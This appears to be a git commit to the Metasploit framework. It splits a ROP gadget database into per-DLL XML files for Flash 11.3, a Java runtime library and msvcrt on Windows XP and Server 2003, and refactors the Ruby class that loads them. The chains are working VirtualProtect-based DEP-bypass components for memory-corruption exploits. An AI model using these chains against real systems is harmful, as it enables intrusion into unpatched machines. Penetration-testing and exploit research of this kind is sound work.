Separate XML for various DLLs.
sinn3r
parent
d832aac629
commit
ba1b65742e
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@ -0,0 +1,80 @@
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<db>
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<rop>
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<compatibility>
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<target>11.3.300.257</target>
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</compatibility>
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<gadgets base="0x10000000">
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<gadget offset="0x00243043">POP EAX # RETN</gadget>
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<gadget offset="0x006e3384">ptr to VirtualProtect()</gadget>
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<gadget offset="0x0044a4aa">MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget>
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<gadget offset="0x003d54df">XCHG EAX,ESI # RETN</gadget>
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<gadget offset="0x005f0b25">POP EBP # RETN</gadget>
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<gadget offset="0x002ed0f1">jmp esp</gadget>
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<gadget offset="0x003eb988">POP EBX # RETN</gadget>
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<gadget value="0x00000400">0x00000400-> ebx</gadget>
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<gadget offset="0x00662e60">POP EDX # RETN</gadget>
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<gadget value="0x00000040">0x00000040-> edx</gadget>
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<gadget offset="0x0058289d">POP ECX # RETN</gadget>
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<gadget offset="0x00955ebe">Writable location</gadget>
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<gadget offset="0x00414e84">POP EDI # RETN</gadget>
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<gadget offset="0x004de801">RETN (ROP NOP)</gadget>
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<gadget offset="0x0024044c">POP EAX # RETN</gadget>
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<gadget value="nop">nop</gadget>
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<gadget offset="0x00627674">PUSHAD # RETN</gadget>
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</gadgets>
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</rop>
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<rop>
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<compatibility>
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<target>11.3.300.265</target>
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</compatibility>
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<gadgets base="0x10000000">
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<gadget offset="0x00487414">POP EAX # RETN</gadget>
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<gadget offset="0x006e338c">ptr to VirtualProtect()</gadget>
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<gadget offset="0x00437d39">MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget>
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<gadget offset="0x0008f9c6">XCHG EAX,ESI # RETN</gadget>
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<gadget offset="0x000baf77">POP EBP # RETN</gadget>
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<gadget offset="0x002d8d5c">jmp esp</gadget>
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<gadget offset="0x00005604">POP EBX # RETN</gadget>
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<gadget value="0x00000400">0x00000400-> ebx</gadget>
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<gadget offset="0x0064a4d7">POP EDX # RETN</gadget>
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<gadget value="0x00000040">0x00000040-> edx</gadget>
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<gadget offset="0x004087db">POP ECX # RETN</gadget>
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<gadget offset="0x00955197">Writable location</gadget>
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<gadget offset="0x005be57f">POP EDI # RETN</gadget>
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<gadget offset="0x003a0002">RETN (ROP NOP)</gadget>
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<gadget offset="0x00244a82">POP EAX # RETN</gadget>
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<gadget value="nop">nop</gadget>
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<gadget offset="0x004cbc7f">PUSHAD # RETN</gadget>
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</gadgets>
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</rop>
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<rop>
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<compatibility>
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<target>11.3.300.268</target>
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</compatibility>
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<gadgets base="0x10000000">
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<gadget offset="0x0012429b">POP ECX # RETN</gadget>
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<gadget offset="0x006e438c">ptr to VirtualProtect()</gadget>
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<gadget offset="0x00481a7d">MOV EAX,DWORD PTR DS:[ECX]</gadget>
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<gadget offset="0x006ae8d7">XCHG EAX,ESI # RETN</gadget>
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<gadget offset="0x000a6b69">POP EBP # RETN</gadget>
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<gadget offset="0x002b95bb">jmp esp</gadget>
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<gadget offset="0x0027f328">POP EBX # RETN</gadget>
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<gadget value="0x00000400">0x00000400-> ebx</gadget>
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<gadget offset="0x00686fe5">POP EDX # RETN</gadget>
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<gadget value="0x00000040">0x00000040-> edx</gadget>
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<gadget offset="0x0017e345">POP ECX # RETN</gadget>
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<gadget offset="0x0092027a">Writable location</gadget>
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<gadget offset="0x002a394a">POP EDI # RETN</gadget>
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<gadget offset="0x00593802"># RETN (ROP NOP)</gadget>
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<gadget offset="0x002447d1">POP EAX # RETN</gadget>
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<gadget value="nop">nop</gadget>
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<gadget offset="0x0062857d">PUSHAD # RETN</gadget>
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</gadgets>
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</rop>
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</db>
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@ -0,0 +1,27 @@
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<db>
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<rop>
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<compatibility>
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<target>*</target>
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</compatibility>
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<gadgets base="0x7c340000">
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<gadget offset="0x0000252c">POP EBP # RETN</gadget>
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<gadget offset="0x0000252c">skip 4 bytes</gadget>
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<gadget offset="0x0002c55a">POP EBX # RETN</gadget>
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<gadget value="0x00000400">0x00000400-> ebx</gadget>
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<gadget offset="0x00005249">POP EDX # RETN</gadget>
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<gadget value="0x00000040">0x00000040-> edx</gadget>
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<gadget offset="0x000011c0">POP ECX # RETN</gadget>
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<gadget offset="0x00051897">Writable location</gadget>
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<gadget offset="0x0000b8d7">POP EDI # RETN</gadget>
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<gadget offset="0x00006c0b">RETN (ROP NOP)</gadget>
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<gadget offset="0x00026fa6">POP ESI # RETN</gadget>
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<gadget offset="0x000015a2">JMP [EAX]</gadget>
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<gadget offset="0x000362fb">POP EAX # RETN</gadget>
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<gadget offset="0x0003a151">ptr to VirtualProtect()</gadget>
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<gadget offset="0x00038c81">PUSHAD # ADD AL,0EF # RETN</gadget>
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<gadget offset="0x00005c30">ptr to 'push esp # ret</gadget>
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</gadgets>
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</rop>
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</db>
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@ -0,0 +1,56 @@
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<db>
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<rop>
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<compatibility>
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<target>WINDOWS XP SP2</target>
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<target>WINDOWS XP SP3</target>
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</compatibility>
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<gadgets base="0x77c10000">
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<gadget offset="0x0002ee15">POP EBP # RETN</gadget>
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<gadget offset="0x0002ee15">skip 4 bytes</gadget>
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<gadget offset="0x0003fa1c">POP EBX # RETN</gadget>
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<gadget value="0x00000400">0x00000400-> ebx</gadget>
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<gadget offset="0x00040d13">POP EDX # RETN</gadget>
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<gadget value="0x00000040">0x00000040-> edx</gadget>
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<gadget offset="0x0002eeef">POP ECX # RETN</gadget>
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<gadget offset="0x0004d9bb">Writable location</gadget>
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<gadget offset="0x0001a88c">POP EDI # RETN</gadget>
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<gadget offset="0x00029f92">RETN (ROP NOP)</gadget>
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<gadget offset="0x0002a184">POP ESI # RETN</gadget>
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<gadget offset="0x0001aacc">JMP [EAX]</gadget>
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<gadget offset="0x0002b860">POP EAX # RETN</gadget>
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<gadget offset="0x00001120">ptr to VirtualProtect()</gadget>
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<gadget offset="0x00002df9">PUSHAD # RETN</gadget>
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<gadget offset="0x00025459">ptr to 'push esp # ret</gadget>
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</gadgets>
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</rop>
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<rop>
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<compatibility>
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<target>WINDOWS SERVER 2003 SP1</target>
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<target>WINDOWS SERVER 2003 SP2</target>
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</compatibility>
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<gadgets base="0x77ba0000">
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<gadget offset="0x0003eebf">POP EAX # RETN</gadget>
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<gadget offset="0x00001114">ptr to VirtualProtect()</gadget>
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<gadget offset="0x0001f244">MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN</gadget>
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<gadget value="junk">Filler</gadget>
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<gadget offset="0x00010c86">XCHG EAX,ESI # RETN</gadget>
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<gadget offset="0x00026320">POP EBP # RETN</gadget>
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<gadget offset="0x00042265">PUSH ESP # RETN</gadget>
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<gadget offset="0x000385b7">POP EBX # RETN</gadget>
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<gadget value="0x00000400">0x00000400-> ebx</gadget>
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<gadget offset="0x0003e4fc">POP EDX # RETN</gadget>
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<gadget value="0x00000040">0x00000040-> edx</gadget>
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<gadget offset="0x000330fb">POP ECX # RETN</gadget>
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<gadget offset="0x0004ff56">Writable location</gadget>
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<gadget offset="0x00038a92">POP EDI # RETN</gadget>
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<gadget offset="0x00037d82">RETN (ROP NOP)</gadget>
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<gadget offset="0x0003eebf">POP EAX # RETN</gadget>
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<gadget value="nop">nop</gadget>
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<gadget offset="0x00046591">PUSHAD # ADD AL,0EF # RETN</gadget>
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</gadgets>
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</rop>
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</db>
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@ -1,159 +0,0 @@
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<db>
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<rop name='msvcrt'>
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<compatibility>
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<target>WINDOWS XP SP2</target>
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<target>WINDOWS XP SP3</target>
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</compatibility>
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<gadgets base="0x77c10000">
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<gadget offset="0x0002ee15">POP EBP # RETN</gadget>
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<gadget offset="0x0002ee15">skip 4 bytes</gadget>
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<gadget offset="0x0003fa1c">POP EBX # RETN</gadget>
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<gadget value="0x00000400">0x00000400-> ebx</gadget>
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<gadget offset="0x00040d13">POP EDX # RETN</gadget>
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<gadget value="0x00000040">0x00000040-> edx</gadget>
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<gadget offset="0x0002eeef">POP ECX # RETN</gadget>
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<gadget offset="0x0004d9bb">Writable location</gadget>
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<gadget offset="0x0001a88c">POP EDI # RETN</gadget>
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<gadget offset="0x00029f92">RETN (ROP NOP)</gadget>
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<gadget offset="0x0002a184">POP ESI # RETN</gadget>
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<gadget offset="0x0001aacc">JMP [EAX]</gadget>
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<gadget offset="0x0002b860">POP EAX # RETN</gadget>
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<gadget offset="0x00001120">ptr to VirtualProtect()</gadget>
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<gadget offset="0x00002df9">PUSHAD # RETN</gadget>
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<gadget offset="0x00025459">ptr to 'push esp # ret</gadget>
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</gadgets>
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</rop>
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<rop name='msvcrt'>
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<compatibility>
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<target>WINDOWS SERVER 2003 SP1</target>
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<target>WINDOWS SERVER 2003 SP2</target>
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</compatibility>
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<gadgets base="0x77ba0000">
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<gadget offset="0x0003eebf">POP EAX # RETN</gadget>
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<gadget offset="0x00001114">ptr to VirtualProtect()</gadget>
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<gadget offset="0x0001f244">MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN</gadget>
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<gadget value="junk">Filler</gadget>
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<gadget offset="0x00010c86">XCHG EAX,ESI # RETN</gadget>
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<gadget offset="0x00026320">POP EBP # RETN</gadget>
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<gadget offset="0x00042265">PUSH ESP # RETN</gadget>
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<gadget offset="0x000385b7">POP EBX # RETN</gadget>
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<gadget value="0x00000400">0x00000400-> ebx</gadget>
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<gadget offset="0x0003e4fc">POP EDX # RETN</gadget>
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<gadget value="0x00000040">0x00000040-> edx</gadget>
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<gadget offset="0x000330fb">POP ECX # RETN</gadget>
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<gadget offset="0x0004ff56">Writable location</gadget>
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<gadget offset="0x00038a92">POP EDI # RETN</gadget>
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<gadget offset="0x00037d82">RETN (ROP NOP)</gadget>
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<gadget offset="0x0003eebf">POP EAX # RETN</gadget>
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<gadget value="nop">nop</gadget>
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<gadget offset="0x00046591">PUSHAD # ADD AL,0EF # RETN</gadget>
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</gadgets>
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</rop>
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<rop name='flash'>
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<compatibility>
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<target>11.3.300.257</target>
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</compatibility>
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<gadgets base="0x10000000">
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<gadget offset="0x00243043">POP EAX # RETN</gadget>
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<gadget offset="0x006e3384">ptr to VirtualProtect()</gadget>
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<gadget offset="0x0044a4aa">MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget>
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<gadget offset="0x003d54df">XCHG EAX,ESI # RETN</gadget>
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<gadget offset="0x005f0b25">POP EBP # RETN</gadget>
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<gadget offset="0x002ed0f1">jmp esp</gadget>
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<gadget offset="0x003eb988">POP EBX # RETN</gadget>
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<gadget value="0x00000400">0x00000400-> ebx</gadget>
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<gadget offset="0x00662e60">POP EDX # RETN</gadget>
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<gadget value="0x00000040">0x00000040-> edx</gadget>
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<gadget offset="0x0058289d">POP ECX # RETN</gadget>
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<gadget offset="0x00955ebe">Writable location</gadget>
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<gadget offset="0x00414e84">POP EDI # RETN</gadget>
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<gadget offset="0x004de801">RETN (ROP NOP)</gadget>
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<gadget offset="0x0024044c">POP EAX # RETN</gadget>
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<gadget value="nop">nop</gadget>
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<gadget offset="0x00627674">PUSHAD # RETN</gadget>
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</gadgets>
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</rop>
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<rop name='flash'>
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<compatibility>
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<target>11.3.300.265</target>
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</compatibility>
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<gadgets base="0x10000000">
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<gadget offset="0x00487414">POP EAX # RETN</gadget>
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<gadget offset="0x006e338c">ptr to VirtualProtect()</gadget>
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<gadget offset="0x00437d39">MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget>
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<gadget offset="0x0008f9c6">XCHG EAX,ESI # RETN</gadget>
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<gadget offset="0x000baf77">POP EBP # RETN</gadget>
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<gadget offset="0x002d8d5c">jmp esp</gadget>
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<gadget offset="0x00005604">POP EBX # RETN</gadget>
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<gadget value="0x00000400">0x00000400-> ebx</gadget>
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<gadget offset="0x0064a4d7">POP EDX # RETN</gadget>
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<gadget value="0x00000040">0x00000040-> edx</gadget>
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<gadget offset="0x004087db">POP ECX # RETN</gadget>
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<gadget offset="0x00955197">Writable location</gadget>
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<gadget offset="0x005be57f">POP EDI # RETN</gadget>
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<gadget offset="0x003a0002">RETN (ROP NOP)</gadget>
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<gadget offset="0x00244a82">POP EAX # RETN</gadget>
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<gadget value="nop">nop</gadget>
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<gadget offset="0x004cbc7f">PUSHAD # RETN</gadget>
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</gadgets>
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</rop>
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<rop name='flash'>
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<compatibility>
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<target>11.3.300.268</target>
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</compatibility>
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<gadgets base="0x10000000">
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<gadget offset="0x0012429b">POP ECX # RETN</gadget>
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<gadget offset="0x006e438c">ptr to VirtualProtect()</gadget>
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<gadget offset="0x00481a7d">MOV EAX,DWORD PTR DS:[ECX]</gadget>
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<gadget offset="0x006ae8d7">XCHG EAX,ESI # RETN</gadget>
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<gadget offset="0x000a6b69">POP EBP # RETN</gadget>
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<gadget offset="0x002b95bb">jmp esp</gadget>
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<gadget offset="0x0027f328">POP EBX # RETN</gadget>
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<gadget value="0x00000400">0x00000400-> ebx</gadget>
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<gadget offset="0x00686fe5">POP EDX # RETN</gadget>
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<gadget value="0x00000040">0x00000040-> edx</gadget>
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<gadget offset="0x0017e345">POP ECX # RETN</gadget>
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<gadget offset="0x0092027a">Writable location</gadget>
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<gadget offset="0x002a394a">POP EDI # RETN</gadget>
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<gadget offset="0x00593802"># RETN (ROP NOP)</gadget>
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<gadget offset="0x002447d1">POP EAX # RETN</gadget>
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<gadget value="nop">nop</gadget>
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<gadget offset="0x0062857d">PUSHAD # RETN</gadget>
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</gadgets>
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</rop>
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<rop name='java'>
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<compatibility>
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<target>*</target>
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</compatibility>
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<gadgets base="0x7c340000">
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<gadget offset="0x0000252c">POP EBP # RETN</gadget>
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<gadget offset="0x0000252c">skip 4 bytes</gadget>
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<gadget offset="0x0002c55a">POP EBX # RETN</gadget>
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<gadget value="0x00000400">0x00000400-> ebx</gadget>
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<gadget offset="0x00005249">POP EDX # RETN</gadget>
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<gadget value="0x00000040">0x00000040-> edx</gadget>
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<gadget offset="0x000011c0">POP ECX # RETN</gadget>
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<gadget offset="0x00051897">Writable location</gadget>
|
||||
<gadget offset="0x0000b8d7">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00006c0b">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x00026fa6">POP ESI # RETN</gadget>
|
||||
<gadget offset="0x000015a2">JMP [EAX]</gadget>
|
||||
<gadget offset="0x000362fb">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x0003a151">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x00038c81">PUSHAD # ADD AL,0EF # RETN</gadget>
|
||||
<gadget offset="0x00005c30">ptr to 'push esp # ret</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
</db>
|
||||
|
|
@ -13,9 +13,7 @@ module Exploitation
|
|||
###
|
||||
class RopDb
|
||||
def initialize
|
||||
f = open(File.join(File.dirname(__FILE__), '../../../data/ropdb', 'ropdb.xml'))
|
||||
@xml = REXML::Document.new(f.read)
|
||||
f.close
|
||||
@base_path = File.join(File.dirname(__FILE__), '../../../data/ropdb/')
|
||||
end
|
||||
|
||||
public
|
||||
|
|
@ -24,17 +22,14 @@ class RopDb
|
|||
#
|
||||
# Returns true if a ROP chain is available, otherwise false
|
||||
#
|
||||
def has_rop?(rop)
|
||||
@xml.elements.each("db/rop") { |e|
|
||||
name = e.attributes['name']
|
||||
return true if name =~ /#{rop}/i
|
||||
}
|
||||
return false
|
||||
def has_rop?(rop_name)
|
||||
File.exists?(File.join(@base_path, "#{rop_name}.xml"))
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an array of ROP gadgets. Each gadget can either be an offset, or a value (symbol or
|
||||
# some integer). When the value is a symbol, it can be one of these: :nop, :junk, :size.
|
||||
# some integer). When the value is a symbol, it can be one of these: :nop, :junk, :size,
|
||||
# and :size_negate.
|
||||
# Note if no RoP is found, it returns an empry array.
|
||||
# Arguments:
|
||||
# rop_name - name of the ROP chain.
|
||||
|
|
@ -46,10 +41,13 @@ class RopDb
|
|||
target = opts['target'] || ''
|
||||
base = opts['base'] || nil
|
||||
|
||||
raise RuntimeError, "#{rop} ROP chain is not available" if not has_rop?(rop)
|
||||
xml = load_rop(File.join(@base_path, "#{rop}.xml"))
|
||||
|
||||
gadgets = []
|
||||
@xml.elements.each("db/rop") { |e|
|
||||
|
||||
xml.elements.each("db/rop") { |e|
|
||||
name = e.attributes['name']
|
||||
next if name !~ /^#{rop}$/i
|
||||
next if not has_target?(e, target)
|
||||
|
||||
if not base
|
||||
|
|
@ -57,33 +55,9 @@ class RopDb
|
|||
base = default.to_i(16)
|
||||
end
|
||||
|
||||
e.elements.each('gadgets/gadget') { |g|
|
||||
offset = g.attributes['offset']
|
||||
value = g.attributes['value']
|
||||
|
||||
if offset
|
||||
addr = offset.scan(/^0x([0-9a-f]+)$/i).flatten[0]
|
||||
gadgets << (base + addr.to_i(16))
|
||||
elsif value
|
||||
case value
|
||||
when 'nop'
|
||||
gadgets << :nop
|
||||
when 'junk'
|
||||
gadgets << :junk
|
||||
when 'size'
|
||||
gadgets << :size
|
||||
when 'size_negate'
|
||||
gadgets << :size_negate
|
||||
else
|
||||
gadgets << value.to_i(16)
|
||||
end
|
||||
else
|
||||
raise RuntimeError, "Missing offset or value attribute in '#{name}'"
|
||||
end
|
||||
}
|
||||
gadgets << parse_gadgets(e, base)
|
||||
}
|
||||
gadgets = gadgets.flatten
|
||||
return gadgets
|
||||
return gadgets.flatten
|
||||
end
|
||||
|
||||
|
||||
|
|
@ -140,6 +114,49 @@ class RopDb
|
|||
}
|
||||
return false
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the database in XML
|
||||
#
|
||||
def load_rop(file_path)
|
||||
f = open(file_path)
|
||||
xml = REXML::Document.new(f.read)
|
||||
f.close
|
||||
return xml
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns gadgets
|
||||
#
|
||||
def parse_gadgets(e, image_base)
|
||||
gadgets = []
|
||||
e.elements.each('gadgets/gadget') { |g|
|
||||
offset = g.attributes['offset']
|
||||
value = g.attributes['value']
|
||||
|
||||
if offset
|
||||
addr = offset.scan(/^0x([0-9a-f]+)$/i).flatten[0]
|
||||
gadgets << (image_base + addr.to_i(16))
|
||||
elsif value
|
||||
case value
|
||||
when 'nop'
|
||||
gadgets << :nop
|
||||
when 'junk'
|
||||
gadgets << :junk
|
||||
when 'size'
|
||||
gadgets << :size
|
||||
when 'size_negate'
|
||||
gadgets << :size_negate
|
||||
else
|
||||
gadgets << value.to_i(16)
|
||||
end
|
||||
else
|
||||
raise RuntimeError, "Missing offset or value attribute in '#{name}'"
|
||||
end
|
||||
}
|
||||
return gadgets
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
|||
Loading…
Reference in New Issue